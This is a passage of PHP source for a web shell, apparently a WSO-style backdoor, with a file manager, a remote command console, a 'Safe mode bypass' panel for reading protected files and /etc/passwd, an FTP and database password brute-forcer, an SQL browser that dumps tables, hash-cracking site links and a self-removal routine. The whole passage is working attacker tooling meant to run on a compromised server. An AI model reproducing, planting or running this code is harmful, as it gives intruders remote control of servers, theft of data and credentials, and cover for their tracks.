  647. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  648. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  649. $l = $l?0:1;
  650. }
  651. ?>
  652. <tr><td colspan=7>
  653. <input type=hidden name=a value='FilesMan'>
  654. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  655. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  656. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
  657. </form></table></div>
  658. <?php
  659. printFooter();
  660. }
  661.  
  662. function actionStringTools() {
  663. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  664. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  665. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  666. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  667.  
  668. if(isset($_POST['ajax'])) {
  669. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  670. ob_start();
  671. if(function_exists($_POST['p1']))
  672. echo $_POST['p1']($_POST['p2']);
  673. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  674. echo strlen($temp), "\n", $temp;
  675. exit;
  676. }
  677. printHeader();
  678. echo '<h1>String conversions</h1><div class=content>';
  679. $stringTools = array(
  680. 'Base64 encode' => 'base64_encode',
  681. 'Base64 decode' => 'base64_decode',
  682. 'Url encode' => 'urlencode',
  683. 'Url decode' => 'urldecode',
  684. 'Full urlencode' => 'full_urlencode',
  685. 'md5 hash' => 'md5',
  686. 'sha1 hash' => 'sha1',
  687. 'crypt' => 'crypt',
  688. 'CRC32' => 'crc32',
  689. 'ASCII to HEX' => 'ascii2hex',
  690. 'HEX to ASCII' => 'hex2ascii',
  691. 'HEX to DEC' => 'hexdec',
  692. 'HEX to BIN' => 'hex2bin',
  693. 'DEC to HEX' => 'dechex',
  694. 'DEC to BIN' => 'decbin',
  695. 'BIN to HEX' => 'bin2hex',
  696. 'BIN to DEC' => 'bindec',
  697. 'String to lower case' => 'strtolower',
  698. 'String to upper case' => 'strtoupper',
  699. 'Htmlspecialchars' => 'htmlspecialchars',
  700. 'String length' => 'strlen',
  701. );
  702. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  703. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  704. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  705. foreach($stringTools as $k => $v)
  706. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  707. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX
  708. <textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  709. if(!empty($_POST['p1'])) {
  710. if(function_exists($_POST['p1']))
  711. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  712. }
  713. echo"</pre></div>";
  714. ?>
  715.  
  716. <h1>Search for hash:</h1><div class=content>
  717. <form method='post' target='_blank' name="hf">
  718. <input type="text" name="hash" style="width:200px;">
  719.  
  720. <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()">
  721.  
  722. <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()">
  723.  
  724. <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()">
  725.  
  726. <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()">
  727.  
  728. <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()">
  729.  
  730. </form>
  731. </div>
  732. <?php
  733. printFooter();
  734. }
  735.  
  736. function actionFilesTools() {
  737. if( isset($_POST['p1']) )
  738. $_POST['p1'] = urldecode($_POST['p1']);
  739. if(@$_POST['p2']=='download') {
  740. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  741. ob_start("ob_gzhandler", 4096);
  742. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  743. if (function_exists("mime_content_type")) {
  744. $type = @mime_content_type($_POST['p1']);
  745. header("Content-Type: ".$type);
  746. }
  747. $fp = @fopen($_POST['p1'], "r");
  748. if($fp) {
  749. while(!@feof($fp))
  750. echo @fread($fp, 1024);
  751. fclose($fp);
  752. }
  753. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  754.  
  755. }
  756. exit;
  757. }
  758. if( @$_POST['p2'] == 'mkfile' ) {
  759. if(!file_exists($_POST['p1'])) {
  760. $fp = @fopen($_POST['p1'], 'w');
  761. if($fp) {
  762. $_POST['p2'] = "edit";
  763. fclose($fp);
  764. }
  765. }
  766. }
  767. printHeader();
  768. echo '<h1>File tools</h1><div class=content>';
  769. if( !file_exists(@$_POST['p1']) ) {
  770. echo 'File not exists';
  771. printFooter();
  772. return;
  773. }
  774. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  775. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  776. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'
  777. ';
  778. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
  779.  
  780. ';
  781. if( empty($_POST['p2']) )
  782. $_POST['p2'] = 'view';
  783. if( is_file($_POST['p1']) )
  784. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  785. else
  786. $m = array('Chmod', 'Rename', 'Touch');
  787. foreach($m as $v)
  788. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  789. echo '
  790.  
  791. ';
  792. switch($_POST['p2']) {
  793. case 'view':
  794. echo '<pre class=ml1>';
  795. $fp = @fopen($_POST['p1'], 'r');
  796. if($fp) {
  797. while( !@feof($fp) )
  798. echo htmlspecialchars(@fread($fp, 1024));
  799. @fclose($fp);
  800. }
  801. echo '</pre>';
  802. break;
  803. case 'highlight':
  804. if( is_readable($_POST['p1']) ) {
  805. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  806. $code = highlight_file($_POST['p1'],true);
  807. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  808. }
  809. break;
  810. case 'chmod':
  811. if( !empty($_POST['p3']) ) {
  812. $perms = 0;
  813. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  814. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  815. if(!@chmod($_POST['p1'], $perms))
  816. echo 'Can\'t set permissions!
  817. <script>document.mf.p3.value="";</script>';
  818. else
  819. die('<script>g(null,null,null,null,"")</script>');
  820. }
  821. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  822. break;
  823. case 'edit':
  824. if( !is_writable($_POST['p1'])) {
  825. echo 'File isn\'t writeable';
  826. break;
  827. }
  828. if( !empty($_POST['p3']) ) {
  829. @file_put_contents($_POST['p1'],$_POST['p3']);
  830. echo 'Saved!
  831. <script>document.mf.p3.value="";</script>';
  832. }
  833. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  834. $fp = @fopen($_POST['p1'], 'r');
  835. if($fp) {
  836. while( !@feof($fp) )
  837. echo htmlspecialchars(@fread($fp, 1024));
  838. @fclose($fp);
  839. }
  840. echo '</textarea><input type=submit value=">>"></form>';
  841. break;
  842. case 'hexdump':
  843. $c = @file_get_contents($_POST['p1']);
  844. $n = 0;
  845. $h = array('00000000
  846. ','','');
  847. $len = strlen($c);
  848. for ($i=0; $i<$len; ++$i) {
  849. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  850. switch ( ord($c[$i]) ) {
  851. case 0: $h[2] .= ' '; break;
  852. case 9: $h[2] .= ' '; break;
  853. case 10: $h[2] .= ' '; break;
  854. case 13: $h[2] .= ' '; break;
  855. default: $h[2] .= $c[$i]; break;
  856. }
  857. $n++;
  858. if ($n == 32) {
  859. $n = 0;
  860. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
  861. ';}
  862. $h[1] .= '
  863. ';
  864. $h[2] .= "\n";
  865. }
  866. }
  867. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  868. break;
  869. case 'rename':
  870. if( !empty($_POST['p3']) ) {
  871. if(!@rename($_POST['p1'], $_POST['p3']))
  872. echo 'Can\'t rename!
  873. <script>document.mf.p3.value="";</script>';
  874. else
  875. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  876. }
  877. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  878. break;
  879. case 'touch':
  880. if( !empty($_POST['p3']) ) {
  881. $time = strtotime($_POST['p3']);
  882. if($time) {
  883. if(@touch($_POST['p1'],$time,$time))
  884. die('<script>g(null,null,null,null,"")</script>');
  885. else {
  886. echo 'Fail!<script>document.mf.p3.value="";</script>';
  887. }
  888. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  889. }
  890. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  891. break;
  892. case 'mkfile':
  893.  
  894. break;
  895. }
  896. echo '</div>';
  897. printFooter();
  898. }
  899.  
  900. function actionSafeMode() {
  901. $temp='';
  902. ob_start();
  903. switch($_POST['p1']) {
  904. case 1:
  905. $temp=@tempnam($test, 'cx');
  906. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  907. echo @file_get_contents($temp);
  908. unlink($temp);
  909. } else
  910. echo 'Sorry... Can\'t open file';
  911. break;
  912. case 2:
  913. $files = glob($_POST['p2'].'*');
  914. if( is_array($files) )
  915. foreach ($files as $filename)
  916. echo $filename."\n";
  917. break;
  918. case 3:
  919. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  920. curl_exec($ch);
  921. break;
  922. case 4:
  923. ini_restore("safe_mode");
  924. ini_restore("open_basedir");
  925. include($_POST['p2']);
  926. break;
  927. case 5:
  928. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  929. $uid = @posix_getpwuid($_POST['p2']);
  930. if ($uid)
  931. echo join(':',$uid)."\n";
  932. }
  933. break;
  934. case 6:
  935. if(!function_exists('imap_open'))break;
  936. $stream = imap_open($_POST['p2'], "", "");
  937. if ($stream == FALSE)
  938. break;
  939. echo imap_body($stream, 1);
  940. imap_close($stream);
  941. break;
  942. }
  943. $temp = ob_get_clean();
  944. printHeader();
  945. echo '<h1>Safe mode bypass</h1><div class=content>';
  946. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>
  947. <span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>
  948. <span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>
  949. <span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>
  950. <span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>
  951.  
  952. <span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  953. if($temp)
  954. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  955. echo '</div>';
  956. printFooter();
  957. }
  958.  
  959. function actionConsole() {
  960. if(isset($_POST['ajax'])) {
  961. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  962. ob_start();
  963. echo "document.cf.cmd.value='';\n";
  964. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  965. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  966. if(@chdir($match[1])) {
  967. $GLOBALS['cwd'] = @getcwd();
  968. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  969. }
  970. }
  971. echo "document.cf.output.value+='".$temp."';";
  972. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  973. $temp = ob_get_clean();
  974. echo strlen($temp), "\n", $temp;
  975. exit;
  976. }
  977. printHeader();
  978. ?>
  979. <script>
  980. if(window.Event) window.captureEvents(Event.KEYDOWN);
  981. var cmds = new Array("");
  982. var cur = 0;
  983. function kp(e) {
  984. var n = (window.Event) ? e.which : e.keyCode;
  985. if(n == 38) {
  986. cur--;
  987. if(cur>=0)
  988. document.cf.cmd.value = cmds[cur];
  989. else
  990. cur++;
  991. } else if(n == 40) {
  992. cur++;
  993. if(cur < cmds.length)
  994. document.cf.cmd.value = cmds[cur];
  995. else
  996. cur--;
  997. }
  998. }
  999. function add(cmd) {
  1000. cmds.pop();
  1001. cmds.push(cmd);
  1002. cmds.push("");
  1003. cur = cmds.length-1;
  1004. }
  1005. </script>
  1006. <?php
  1007. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1008. foreach($GLOBALS['aliases'] as $n => $v) {
  1009. if($v == '') {
  1010. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1011. continue;
  1012. }
  1013. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1014. }
  1015. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1016. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1017. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX
  1018. <textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1019. if(!empty($_POST['p1'])) {
  1020. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1021. }
  1022. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1023. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1024. printFooter();
  1025. }
  1026.  
  1027. function actionLogout() {
  1028. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1029. echo 'bye!';
  1030. }
  1031.  
  1032. function actionSelfRemove() {
  1033. printHeader();
  1034. if($_POST['p1'] == 'yes') {
  1035. if(@unlink(SELF_PATH))
  1036. die('Shell has been removed');
  1037. else
  1038. echo 'unlink error!';
  1039. }
  1040. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?
  1041. <a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1042. printFooter();
  1043. }
  1044.  
  1045. function actionBruteforce() {
  1046. printHeader();
  1047. if( isset($_POST['proto']) ) {
  1048. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'
  1049. ';
  1050. if( $_POST['proto'] == 'ftp' ) {
  1051. function bruteForce($ip,$port,$login,$pass) {
  1052. $fp = @ftp_connect($ip, $port?$port:21);
  1053. if(!$fp) return false;
  1054. $res = @ftp_login($fp, $login, $pass);
  1055. @ftp_close($fp);
  1056. return $res;
  1057. }
  1058. } elseif( $_POST['proto'] == 'mysql' ) {
  1059. function bruteForce($ip,$port,$login,$pass) {
  1060. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1061. @mysql_close($res);
  1062. return $res;
  1063. }
  1064. } elseif( $_POST['proto'] == 'pgsql' ) {
  1065. function bruteForce($ip,$port,$login,$pass) {
  1066. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  1067. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  1068. @pg_close($res);
  1069. return $res;
  1070. }
  1071. }
  1072. $success = 0;
  1073. $attempts = 0;
  1074. $server = explode(":", $_POST['server']);
  1075. if($_POST['type'] == 1) {
  1076. $temp = @file('/etc/passwd');
  1077. if( is_array($temp) )
  1078. foreach($temp as $line) {
  1079. $line = explode(":", $line);
  1080. ++$attempts;
  1081. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1082. $success++;
  1083. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'
  1084. ';
  1085. }
  1086. if(@$_POST['reverse']) {
  1087. $tmp = "";
  1088. for($i=strlen($line[0])-1; $i>=0; --$i)
  1089. $tmp .= $line[0][$i];
  1090. ++$attempts;
  1091. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1092. $success++;
  1093. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1094. }
  1095. }
  1096. }
  1097. } elseif($_POST['type'] == 2) {
  1098. $temp = @file($_POST['dict']);
  1099. if( is_array($temp) )
  1100. foreach($temp as $line) {
  1101. $line = trim($line);
  1102. ++$attempts;
  1103. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1104. $success++;
  1105. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'
  1106. ';
  1107. }
  1108. }
  1109. }
  1110. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div>
  1111. ";
  1112. }
  1113. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1114. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1115. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1116. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1117. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1118. .'<span>Server:port</span></td>'
  1119. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1120. .'<tr><td><span>Brute type</span></td>'
  1121. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1122. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1123. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1124. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1125. .'<td><input type=text name=login value="komsen"></td></tr>'
  1126. .'<tr><td><span>Dictionary</span></td>'
  1127. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1128. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1129. echo '</div>
  1130. ';
  1131. printFooter();
  1132. }
  1133.  
  1134. function actionSql() {
  1135. class DbClass {
  1136. var $type;
  1137. var $link;
  1138. var $res;
  1139. function DbClass($type) {
  1140. $this->type = $type;
  1141. }
  1142. function connect($host, $user, $pass, $dbname){
  1143. switch($this->type) {
  1144. case 'mysql':
  1145. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1146. break;
  1147. case 'pgsql':
  1148. $host = explode(':', $host);
  1149. if(!$host[1]) $host[1]=5432;
  1150. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1151. break;
  1152. }
  1153. return false;
  1154. }
  1155. function selectdb($db) {
  1156. switch($this->type) {
  1157. case 'mysql':
  1158. if (@mysql_select_db($db))return true;
  1159. break;
  1160. }
  1161. return false;
  1162. }
  1163. function query($str) {
  1164. switch($this->type) {
  1165. case 'mysql':
  1166. return $this->res = @mysql_query($str);
  1167. break;
  1168. case 'pgsql':
  1169. return $this->res = @pg_query($this->link,$str);
  1170. break;
  1171. }
  1172. return false;
  1173. }
  1174. function fetch() {
  1175. $res = func_num_args()?func_get_arg(0):$this->res;
  1176. switch($this->type) {
  1177. case 'mysql':
  1178. return @mysql_fetch_assoc($res);
  1179. break;
  1180. case 'pgsql':
  1181. return @pg_fetch_assoc($res);
  1182. break;
  1183. }
  1184. return false;
  1185. }
  1186. function listDbs() {
  1187. switch($this->type) {
  1188. case 'mysql':
  1189. return $this->res = @mysql_list_dbs($this->link);
  1190. break;
  1191. case 'pgsql':
  1192. return $this->res = $this->query("SELECT datname FROM pg_database");
  1193. break;
  1194. }
  1195. return false;
  1196. }
  1197. function listTables() {
  1198. switch($this->type) {
  1199. case 'mysql':
  1200. return $this->res = $this->query('SHOW TABLES');
  1201. break;
  1202. case 'pgsql':
  1203. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1204. break;
  1205. }
  1206. return false;
  1207. }
  1208. function error() {
  1209. switch($this->type) {
  1210. case 'mysql':
  1211. return @mysql_error($this->link);
  1212. break;
  1213. case 'pgsql':
  1214. return @pg_last_error($this->link);
  1215. break;
  1216. }
  1217. return false;
  1218. }
  1219. function setCharset($str) {
  1220. switch($this->type) {
  1221. case 'mysql':
  1222. if(function_exists('mysql_set_charset'))
  1223. return @mysql_set_charset($str, $this->link);
  1224. else
  1225. $this->query('SET CHARSET '.$str);
  1226. break;
  1227. case 'mysql':
  1228. return @pg_set_client_encoding($this->link, $str);
  1229. break;
  1230. }
  1231. return false;
  1232. }
  1233. function dump($table) {
  1234. switch($this->type) {
  1235. case 'mysql':
  1236. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1237. $create = mysql_fetch_array($res);
  1238. echo $create[1].";\n\n";
  1239. $this->query('SELECT * FROM `'.$table.'`');
  1240. while($item = $this->fetch()) {
  1241. $columns = array();
  1242. foreach($item as $k=>$v) {
  1243. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1244. $columns[] = "`".$k."`";
  1245. }
  1246. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1247. }
  1248. break;
  1249. case 'pgsql':
  1250. $this->query('SELECT * FROM '.$table);
  1251. while($item = $this->fetch()) {
  1252. $columns = array();
  1253. foreach($item as $k=>$v) {
  1254. $item[$k] = "'".addslashes($v)."'";
  1255. $columns[] = $k;
  1256. }
  1257. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1258. }
  1259. break;
  1260. }
  1261. return false;
  1262. }
  1263. };
  1264. $db = new DbClass($_POST['type']);
  1265. if(@$_POST['p2']=='download') {
  1266. ob_start("ob_gzhandler", 4096);
  1267. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1268. $db->selectdb($_POST['sql_base']);
  1269. header("Content-Disposition: attachment; filename=dump.sql");
  1270. header("Content-Type: text/plain");
  1271. foreach($_POST['tbl'] as $v)
  1272. $db->dump($v);
  1273. exit;
  1274. }
  1275. printHeader();
  1276. ?>
  1277. <h1>Sql browser</h1><div class=content>
  1278. <form name="sf" method="post">
  1279. <table cellpadding="2" cellspacing="0">
  1280. <tr>
  1281. <td>Type</td>
  1282. <td>Host</td>
  1283. <td>Login</td>
  1284. <td>Password</td>
  1285. <td>Database</td>
  1286. <td></td>
  1287. </tr>
  1288. <tr>
  1289. <input type=hidden name=a value=Sql>
  1290. <input type=hidden name=p1 value='query'>
  1291. <input type=hidden name=p2>
  1292. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
  1293. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  1294. <td>
  1295. <select name='type'>
  1296. <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
  1297. <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
  1298. </select></td>
  1299. <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
  1300. <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
  1301. <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
  1302. <td>
  1303. <?php
  1304. $tmp = "<input type=text name=sql_base value=''>";
  1305. if(isset($_POST['sql_host'])){
  1306. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1307. switch($_POST['charset']) {
  1308. case "Windows-1251": $db->setCharset('cp1251'); break;
  1309. case "UTF-8": $db->setCharset('utf8'); break;
  1310. case "KOI8-R": $db->setCharset('koi8r'); break;
  1311. case "KOI8-U": $db->setCharset('koi8u'); break;
  1312. case "cp866": $db->setCharset('cp866'); break;
  1313. }
  1314. $db->listDbs();
  1315. echo "<select name=sql_base><option value=''></option>";
  1316. while($item = $db->fetch()) {
  1317. list($key, $value) = each($item);
  1318. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1319. }
  1320. echo '</select>';
  1321. }
  1322. else echo $tmp;
  1323. }else
  1324. echo $tmp;
  1325. ?></td>
  1326. <td><input type=submit value=">>"></td>
  1327. </tr>
  1328. </table>
  1329. <script>
  1330. function st(t,l) {
  1331. document.sf.p1.value = 'select';
  1332. document.sf.p2.value = t;
  1333. if(l!=null)document.sf.p3.value = l;
  1334. document.sf.submit();
  1335. }
  1336. function is() {
  1337. for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1338. document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1339. }
  1340. </script>
  1341. <?php
  1342. if(isset($db) && $db->link){
  1343. echo "
  1344. <table width=100% cellpadding=2 cellspacing=0>";
  1345. if(!empty($_POST['sql_base'])){
  1346. $db->selectdb($_POST['sql_base']);
  1347. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span>
  1348.  
  1349. ";
  1350. $tbls_res = $db->listTables();
  1351. while($item = $db->fetch($tbls_res)) {
  1352. list($key, $value) = each($item);
  1353. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1354. $value = htmlspecialchars($value);
